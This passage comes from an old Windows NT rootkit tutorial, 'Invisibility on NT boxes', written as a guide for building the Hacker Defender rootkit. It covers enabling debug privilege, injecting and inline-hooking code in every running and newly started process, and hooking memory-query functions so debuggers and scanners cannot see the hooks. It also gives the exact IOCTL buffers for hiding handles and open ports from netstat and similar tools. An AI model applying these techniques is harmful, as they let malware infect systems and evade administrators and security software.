can be done using API OpenProcessToken, LookupPrivilegeValue and AdjustTokenPrivileges. BOOL OpenProcessToken( HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle ); BOOL LookupPrivilegeValue( LPCTSTR lpSystemName, LPCTSTR lpName, PLUID lpLuid ); BOOL AdjustTokenPrivileges( HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength ); Neglecting errors the code can look like this: #define SE_PRIVILEGE_ENABLED 0x0002 #define TOKEN_QUERY 0x0008 #define TOKEN_ADJUST_PRIVILEGES 0x0020 HANDLE hToken; LUID DebugNameValue; TOKEN_PRIVILEGES Privileges; DWORD dwRet; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken); LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue); Privileges.PrivilegeCount=1; Privileges.Privileges[0].Luid=DebugNameValue; Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges), NULL,&dwRet); CloseHandle(hToken); 7.2 Global hook Enumeration of processes is done by already metioned API function NtQuerySystemInformation. There are few native processes in the system, so we will use the method of rewriting first instructions of the function to hook them. For each running process we will do the same. We will allocate a part of memory in target process where we will write our new code for functions we want to hook. Then we will change the first five bytes of these functions with jmp instruction. This jump will redirect the execution to our code. So the jmp instruction will be executed immediately when the hooked function is called. We have to save first instructions of each function which is rewritten. We need them to call original code of the hooked function. Saving instructions is described in chapter 3.2.3 in the document "Hooking Windows API". At first we have to open target process via NtOpenProcess and get the handle. This will fail if we don't have enough rights. NTSTATUS NtOpenProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL ); ProcessHandle is a pointer on a handle where the result will be stored. DesiredAccess should be set on PROCESS_ALL_ACCESS. We will set PID of target process to UniqueProcess part of ClientId structure, UniqueThread should be 0. Open handle can be always closed via NtClose. #define PROCESS_ALL_ACCESS 0x001F0FFF Now we are going to allocate the part of memory for our code. This can be done using NtAllocateVirtualMemory. NTSTATUS NtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID BaseAddress, IN ULONG ZeroBits, IN OUT PULONG AllocationSize, IN ULONG AllocationType, IN ULONG Protect ); ProcessHandle is the one from NtOpenProcess. BaseAddress is a pointer on a pointer on the beginning where we want to allocate. Here will be stored the address of the allocated memory. Input value can be NULL. AllocationSize is a pointer on number of bytes we want to allocate. And again it is also used as output value for the real number of allocated bytes. It is good to set AllocationType to MEM_TOP_DOWN in addition to MEM_COMMIT because the memory would be allocated on the highest possible address near DLLs. #define MEM_COMMIT 0x00001000 #define MEM_TOP_DOWN 0x00100000 Then we can write our code there using NtWriteVirtualMemory. NTSTATUS NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG BufferLength, OUT PULONG ReturnLength OPTIONAL ); BaseAddress will be that address returned by NtAllocateVirtualMemory. Buffer points on bytes we want to write, BufferLength is number of bytes we want to write. Now we have to hook single functions. Only library which is loaded to all processes is ntdll.dll. So we have to check if function we want to hook is imported to the process if it is not from ntdll.dll. But the memory where would this function (from another DLL) be could be allocated, so rewriting bytes on its address could easily cause error in target process. This is why we have to check whether library (where function we want to hook is) is loaded to target process. We need to get PEB (Process Environment Block) of target process via NtQueryInformationProcess. NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL ); We will set ProcessInfromationClass to ProcessBasicInformation. Then the PROCESS_BASIC_INFORMATION structure would be returned to ProcessInformation buffer which size is given by ProcessInformationLength. #define ProcessBasicInformation 0 typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PPEB PebBaseAddress; KAFFINITY AffinityMask; KPRIORITY BasePriority; ULONG UniqueProcessId; ULONG InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION; PebBaseAddress is what we were looking for. On PebBaseAddress+0x0C is address PPEB_LDR_DATA. This would be get calling NtReadVirtualMemory. NTSTATUS NtReadVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, OUT PVOID Buffer, IN ULONG BufferLength, OUT PULONG ReturnLength OPTIONAL ); Parameters are similar like in NtWriteVirtualMemory. On PPEB_LDR_DATA+0x1C is address InInitializationOrderModuleList. It is the list of libraries loaded to the process. We are interested only in a part of this structure. typedef struct _IN_INITIALIZATION_ORDER_MODULE_LIST { PVOID Next, PVOID Prev, DWORD ImageBase, DWORD ImageEntry, DWORD ImageSize, ... ); Next is a pointer on next record, Prev on previous, last record points on first. ImageBase is an address of module in the memory, ImageEntry is the EntryPoint of the module, ImageSize is its size. For all libraries in which we want to hook we will get their ImageBase (e.g. using GetModuleHandle or LoadLibrary). This ImageBase we will compare with ImageBase of each entry in InInitializationOrderModuleList. Now we are ready for hooking. Because we are hooking running processes there is a possibility that the code we would be executed in the moment we will be rewriting it. This can cause error, so at first we will stop all threads in target process. The list of its threads can get via NtQuerySystemInformation with SystemProcessesAndThreadsInformation class. Result of this function is described in chapter 4. But we have to add the description of SYSTEM_THREADS structure where the information about thread is. typedef struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; THREAD_STATE State; KWAIT_REASON WaitReason; } SYSTEM_THREADS, *PSYSTEM_THREADS; For each thread we have to get its handle using NtOpenThread. We will use ClientId for it. NTSTATUS NtOpenThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId ); The handle we want will be stored to ThreadHandle. We will set DesiredAccess to THREAD_SUSPEND_RESUME. #define THREAD_SUSPEND_RESUME 2 ThreadHandle will be used for calling NtSuspendThread. NTSTATUS NtSuspendThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL ); Suspended process is ready for rewriting. We will proceed as it is described in chapter 3.2.2 in "Hooking Windows API". Only difference will be in using functions for other processes. After a hook we will revive all process threads calling NtResumeThread. NTSTATUS NtResumeThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL ); 7.3 New processes Infection of all running processes does not affect processes which would be run later. We could get the process list and after a while get a new one and compare them and then infect those processes which are in second list but not in first. But this method is very unreliable. Much better is to hook function which is always called when new process starts. Because of hooking all running processes on the system we can't miss any new with this method. We can hook NtCreateThread but it is not the easiest way. We will hook NtResumeThread which is also called everytime after the new process is created. It is called after NtCreateThread. The only problem with NtResumeThread is that it is called not only when new process starts. But we can easily get over this. NtQueryInformationThread will give us an information about which process owns the specific thread. The last thing we have to do is to check whether this process is already hooked or not. This can be done by reading first byte of any function we are hooking. NTSTATUS NtQueryInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT PULONG ReturnLength OPTIONAL ); ThreadInformationClass is information class and it should be set in our case to ThreadBasicInformation. ThreadInformation is the buffer for result which size is ThreadInformationLength bytes. #define ThreadBasicInformation 0 For class ThreadBasicInformation is this structure returned: typedef struct _THREAD_BASIC_INFORMATION { NTSTATUS ExitStatus; PNT_TIB TebBaseAddress; CLIENT_ID ClientId; KAFFINITY AffinityMask; KPRIORITY Priority; KPRIORITY BasePriority; } THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; In ClientId is the PID of which owns the thread. Now we have to infect the new process. The problem is that the new process has only ntdll.dll in its memory. All others modules are loaded immediately after calling NtResumeThread. There are several ways how to handle this problem. E.g. we can hook API called LdrInitializeThunk which is called during process init. NTSTATUS LdrInitializeThunk( DWORD Unknown1, DWORD Unknown2, DWORD Unknown3 ); At first we will run original code and then we will hook all functions we want in this new process. But it will be better to unhook LdrInitializeThunk because it is called many times later and we don't want to rehook all functions again. Everything here is done before execution of the first instruction of hooked application. That's why there is no chance it would call any of hooked functions before we hook it. The hooking in itself is the same as when hooking running process but here we don't care about running threads. 7.4 DLL In each process in the system is the copy of ntdll.dll. That mean we can hook any function from this module in the process init. But how about functions from other modules like kernel32.dll or advapi32.dll? And there are also several processes which has only ntdll.dll. All other modules can be loaded dynamically in the middle of the code after the process hook. That's why we have to hook LdrLoadDll which loades new modules. NTSTATUS LdrLoadDll( PWSTR szcwPath, PDWORD pdwLdrErr, PUNICODE_STRING pUniModuleName, PHINSTANCE pResultInstance ); The most important for us here is pUniModuleName which is the name of the module. pResultInstance will be filled with its address if the call is successful. We will call original LdrLoadDll and then hook all functions in loaded module. 8. Memory When we are hooking a function we modify its first bytes. Via calling NtReadVirtualMemory anyone can detect that a function is hooked. So we have to hook NtReadVirtualMemory to prevent detecting. NTSTATUS NtReadVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, OUT PVOID Buffer, IN ULONG BufferLength, OUT PULONG ReturnLength OPTIONAL ); We have changed bytes on the begining of all functions we hooked and we have also allocated memory for our new code. We should check whether caller reads some of these bytes. If we have our bytes in the range from BaseAddress to BaseAddress + BufferLength we have to change some bytes in Buffer. If one ask for bytes from our allocated memory we should return empty Buffer and an error STATUS_PARTIAL_COPY. This value says not all requested bytes were copied to the Buffer. It is also used when asking for unallocated memory. ReturnLength should be set to 0 in this case. #define STATUS_PARTIAL_COPY 0x8000000D If one ask for first bytes of hooked function we have to call original code and than we should copy original bytes (we have saved them for original calls) to Buffer. Now the process is not able to detect he is hooked via reading its memory. Also if you debug hooked process debugger will have a problem. It will show original bytes but it will execute our code. To make hiding perfect we can also hook NtQueryVirtualMemory. This function is used to get information about virtual memory. We can hook it to prevent detecting our allocated memory. NTSTATUS NtQueryVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN ULONG MemoryInformationLength, OUT PULONG ReturnLength OPTIONAL ); MemoryInformationClass specifies the class of data which are returned. First two types are interesting for us. #define MemoryBasicInformation 0 #define MemoryWorkingSetList 1 For class MemoryBasicInformation is returned this structure: typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; ULONG AllocationProtect; ULONG RegionSize; ULONG State; ULONG Protect; ULONG Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION; Each memory section has its size RegionSize and its type Type. Free memory has type MEM_FREE. #define MEM_FREE 0x10000 If a section before ours has type MEM_FREE we should add the size of ours section to its RegionSize. If the following section is also MEM_FREE we should add following section size again that RegionSize. If a section before ours has another type we will return MEM_FREE for our section. Its size is counted again according to following section. For class MemoryWorkingSetList is returned structure: typedef struct _MEMORY_WORKING_SET_LIST { ULONG NumberOfPages; ULONG WorkingSetList[1]; } MEMORY_WORKING_SET_LIST, *PMEMORY_WORKING_SET_LIST; NumberOfPages is the number of items in WorkingSetList. This number should be decreased. We should find ours section in WorkingSetList and move following records over ours. WorkingSetList is an array of DWORDs where higher 20 bits specifies higher 20 bits of section address and lower 12 bits specifies flags. 9. Handle Calling NtQuerySystemInformation with SystemHandleInformation class gives us array of all open handles in _SYSTEM_HANDLE_INFORMATION_EX strucure. #define SystemHandleInformation 0x10 typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; typedef struct _SYSTEM_HANDLE_INFORMATION_EX { ULONG NumberOfHandles; SYSTEM_HANDLE_INFORMATION Information[1]; } SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; ProcessId specifies the process which owns the handle. ObjectTypeNumber is handle type. NumberOfHandles is number of records in Information array. Hiding one item is trivial. We have to remove all following records by one and decrease NumberOfHandles. Removing all following is needed because handles in array are grouped by ProcessId. That mean all handles from one single process are together. And for one process the number Handle is growing. Now remember structure _SYSTEM_PROCESSES which is returned by this function with SystemProcessesAndThreadsInformation class. Here we can see that each process has an information about its number of handles in HandleCount. If we want to be perfect we should modify HandleCount owing to how many handles we hide when calling this function with SystemProcessesAndThreadsInformation class. But this correction would be very time-consuming. There are many handles opening and closing in very short time during normal system running. So it can easily happend that number of handles is changed in between two calls of this function and we don't need to change HandleCount. 9.1 Naming handle and getting type Handle hiding is trivial but find out which handle to hide is little bit harder. If we have e.g. hidden process we should hide all its handles and all handles which are connected with it. Hiding handles of this process is again trivial. We are only comparing ProcessId of handle and PID of our process and when they equals we hide it. But handles of other processes have to be named before we can compare something. The number of handles in the system is usually very big, so the best we can do is to compare handle type first before trying to name it. Naming types will save a lot of time for handles we are not interested in. Naming handle and handle type can be done via calling NtQueryObject. NTSTATUS ZwQueryObject( IN HANDLE ObjectHandle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, OUT PVOID ObjectInformation, IN ULONG ObjectInformationLength, OUT PULONG ReturnLength OPTIONAL ); ObjectHandle is a handle we want to get info about, ObjectInformationClass is the type of information which will be stored into ObjectInformation buffer which is ObjectInformationLength bytes long. We will use class ObjectNameInformation and ObjectAllTypesInformation. ObjectNameInfromation class will fill the buffer with OBJECT_NAME_INFORMATION structure, ObjectAllTypesInformation class with OBJECT_ALL_TYPES_INFORMATION structure then. #define ObjectNameInformation 1 #define ObjectAllTypesInformation 3 typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name; } OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; Name determines the name of the handle. typedef struct _OBJECT_TYPE_INFORMATION { UNICODE_STRING Name; ULONG ObjectCount; ULONG HandleCount; ULONG Reserved1[4]; ULONG PeakObjectCount; ULONG PeakHandleCount; ULONG Reserved2[4]; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccess; UCHAR Unknown; BOOLEAN MaintainHandleDatabase; POOL_TYPE PoolType; ULONG PagedPoolUsage; ULONG NonPagedPoolUsage; } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; typedef struct _OBJECT_ALL_TYPES_INFORMATION { ULONG NumberOfTypes; OBJECT_TYPE_INFORMATION TypeInformation; } OBJECT_ALL_TYPES_INFORMATION, *POBJECT_ALL_TYPES_INFORMATION; Name determines the name of type object which immediately follows each OBJECT_TYPE_INFORMATION structure. The next OBJECT_TYPE_INFORMATION structure follows this Name, starting on the first four-byte boundary. ObjectTypeNumber from SYSTEM_HANDLE_INFORMATION structure is an index to TypeInformation array. Harder is to get the name of handle from other process. There are two possibilities how to name it. First is to copy the handle via NtDuplicateObject to our process and then to name it. This method will fail for some specific types of handles. But it will fail only for few, so we can stay calm and use this. NtDuplicateObject( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, IN HANDLE TargetProcessHandle, OUT PHANDLE TargetHandle OPTIONAL, IN ACCESS_MASK DesiredAccess, IN ULONG Attributes, IN ULONG Options ); SourceProcessHandle is a handle of process which owns SourceHandle which is the handle we want to copy. TargetProcessHandle is handle of process where to copy. This will be handle to our process in our case. TargetHandle is the pointer on handle where to save a copy of original handle. DesiredAccess should be set to PROCESS_QUERY_INFORMATION, Attribures and Options to 0. Second naming method which works with any handle is to use system driver. Source code for this is available in OpHandle project on my site http://rootkit.host.sk. 10. Ports The easiest way to enumarate open ports is to use functions called AllocateAndGetTcpTableFromStack and AllocateAndGetUdpTableFromStack, and or AllocateAndGetTcpExTableFromStack and AllocateAndGetUdpExTableFromStack from iphlpapi.dll. The Ex functions are available since Windows XP. typedef struct _MIB_TCPROW { DWORD dwState; DWORD dwLocalAddr; DWORD dwLocalPort; DWORD dwRemoteAddr; DWORD dwRemotePort; } MIB_TCPROW, *PMIB_TCPROW; typedef struct _MIB_TCPTABLE { DWORD dwNumEntries; MIB_TCPROW table[ANY_SIZE]; } MIB_TCPTABLE, *PMIB_TCPTABLE; typedef struct _MIB_UDPROW { DWORD dwLocalAddr; DWORD dwLocalPort; } MIB_UDPROW, *PMIB_UDPROW; typedef struct _MIB_UDPTABLE { DWORD dwNumEntries; MIB_UDPROW table[ANY_SIZE]; } MIB_UDPTABLE, *PMIB_UDPTABLE; typedef struct _MIB_TCPROW_EX { DWORD dwState; DWORD dwLocalAddr; DWORD dwLocalPort; DWORD dwRemoteAddr; DWORD dwRemotePort; DWORD dwProcessId; } MIB_TCPROW_EX, *PMIB_TCPROW_EX; typedef struct _MIB_TCPTABLE_EX { DWORD dwNumEntries; MIB_TCPROW_EX table[ANY_SIZE]; } MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX; typedef struct _MIB_UDPROW_EX { DWORD dwLocalAddr; DWORD dwLocalPort; DWORD dwProcessId; } MIB_UDPROW_EX, *PMIB_UDPROW_EX; typedef struct _MIB_UDPTABLE_EX { DWORD dwNumEntries; MIB_UDPROW_EX table[ANY_SIZE]; } MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX; DWORD WINAPI AllocateAndGetTcpTableFromStack( OUT PMIB_TCPTABLE *pTcpTable, IN BOOL bOrder, IN HANDLE hAllocHeap, IN DWORD dwAllocFlags, IN DWORD dwProtocolVersion; ); DWORD WINAPI AllocateAndGetUdpTableFromStack( OUT PMIB_UDPTABLE *pUdpTable, IN BOOL bOrder, IN HANDLE hAllocHeap, IN DWORD dwAllocFlags, IN DWORD dwProtocolVersion; ); DWORD WINAPI AllocateAndGetTcpExTableFromStack( OUT PMIB_TCPTABLE_EX *pTcpTableEx, IN BOOL bOrder, IN HANDLE hAllocHeap, IN DWORD dwAllocFlags, IN DWORD dwProtocolVersion; ); DWORD WINAPI AllocateAndGetUdpExTableFromStack( OUT PMIB_UDPTABLE_EX *pUdpTableEx, IN BOOL bOrder, IN HANDLE hAllocHeap, IN DWORD dwAllocFlags, IN DWORD dwProtocolVersion; ); There is another way to do this stuff. When program creates a socket and starts listening it surely has an open handle for it and for open port. We can enumerate all open handles in the system and send them special buffer via NtDeviceIoControlFile to find out whether the handle is for open port or not. This will also give us information about the port. Because there are a lot of open handles we will test only handles which type is File and name is \Device\Tcp or \Device\Udp. Open ports have only this type and name. When we look to the code of iphlpapi.dll functions above we find out that these functions also calls NtDeviceIoControlFile and sends special buffer to get a list of all open ports in the system. That mean only functions we need to hook for hiding ports is NtDeviceIoControlFile. NTSTATUS NtDeviceIoControlFile( IN HANDLE FileHandle IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ); Interesting agruments for us now are FileHandle which specify a handle of device to communicate with, IoStatusBlock which points to a variable that receives the final completion status and information about the requested operation, IoControlCode that is a number specifying type of the device, method, file access and a function. InputBuffer contains input data that are InputBufferLength bytes long and similarly OutputBuffer and OutputbufferLength. 10.1 Netstat, OpPorts on WinXP, FPort on WinXP Getting a list of all open ports is the first way which is used by e.g. OpPorts and FPort on Windows XP and also Netstat. Programs calls here NtDeviceIoControlFile twice with IoControlCode 0x000120003. OutputBuffer is filled after a second call. Name of FileHandle is here alwats \Device\Tcp. InputBuffer differs for different types of call: To get an array of MIB_TCPROW InputBuffer looks as follows: first call: 0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 second call: 0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 To get an array of MIB_UDPROW: first call: 0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 second call: 0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 To get an array of MIB_TCPROW_EX: first call: 0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 second call: 0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00 0x02 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 To get an array of MIB_UDPROW_EX: first call: 0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 second call: 0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00 0x02 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 You can see the buffers are different in few bytes only. We can lucidly recapitulate these: Calls we are interested in have InputBuffer[1] set to 0x04 and mainly InputBuffer[17] on 0x01. Only after these input data we get filled OutputBuffer with desiderative tables. If we want to get info about TCP ports we set InputBuffer[0] on 0x00, or on 0x01 for information about UDP. If we want extended output tables (MIB_TCPROW_EX or MIB_UDPROW_EX) we use Inputbuffer[16] in second call set to 0x02. If we find out the call with these parameters we can change the output buffer. To get number of rows in output buffer simply divide Information from IoStatusBlock by size of the row. Hiding of one row is easy then. Just rewrite it with following rows and delete last row. Don't forget to change OutputBufferLength and IoStatusBlock. 10.2 OpPorts on Win2k and NT4, FPort on Win2k We use NtDeviceIoControlFile with IoControlCode 0x00210012 to determine if the handle of File type and name \Device\Tcp or \Device\Udp is the handle of open port. So at first we compare IoControlCode and then a type and the name of the handle. If it is still interesting then we compare the length of input buffer which should be equal to the length of struct TDI_CONNECTION_IN. This length is 0x18. OutputBuffer is TDI_CONNETION_OUT. typedef struct _TDI_CONNETION_IN { ULONG UserDataLength, PVOID UserData, ULONG OptionsLength, PVOID Options, ULONG RemoteAddressLength, PVOID RemoteAddress } TDI_CONNETION_IN, *PTDI_CONNETION_IN; typedef struct _TDI_CONNETION_OUT { ULONG State, ULONG Event, ULONG TransmittedTsdus, ULONG ReceivedTsdus, ULONG TransmissionErrors, ULONG ReceiveErrors, LARGE_INTEGER Throughput LARGE_INTEGER Delay, ULONG SendBufferSize, ULONG ReceiveBufferSize, ULONG Unreliable, ULONG Unknown1[5], USHORT Unknown2 } TDI_CONNETION_OUT, *PTDI_CONNETION_OUT; Concrete implementation of how to determine the handle is open port is available in source code of OpPorts on http://rootkit.host.sk. We are interested in hiding specific port now. We already compared InputBufferLength and IoControlCode. Now we have to compare RemoteAddressLength. This is always 3 or 4 for open port. The last we have to do is to compare ReceivedTsdus from OutputBuffer which contains the port in network form and our list of ports we want to hide. Differentiate between TCP and UDP is done according to the name of the handle. By deleting OutputBuffer, changing IoStatusBlock and returning the value of STATUS_INVALID_ADDRESS we will hide this port. 11. Ending Concrete implementation of described techniques will be available with the source code of Hander defender rootkit in version 1.0.0 on its homepage http://rootkit.host.sk and on http://www.rootkit.com. It is possible I will add some more information about invisibility on Windows NT in the future. New versions of this document could also contain improvement of described methods or new comments. Special thanks to Ratter who give me a lot of knowhow which was necessary to write this document and to code project Hacker defender. Send all remarks to holy_father@phreaker.net or to the board on http://rootkit.host.sk. Sursa: Holy_Father 'Invisibility on NT boxes, How to become unseen on Windows NT (Version: 1.2)' (VX heavens)
×
×
  • Create New...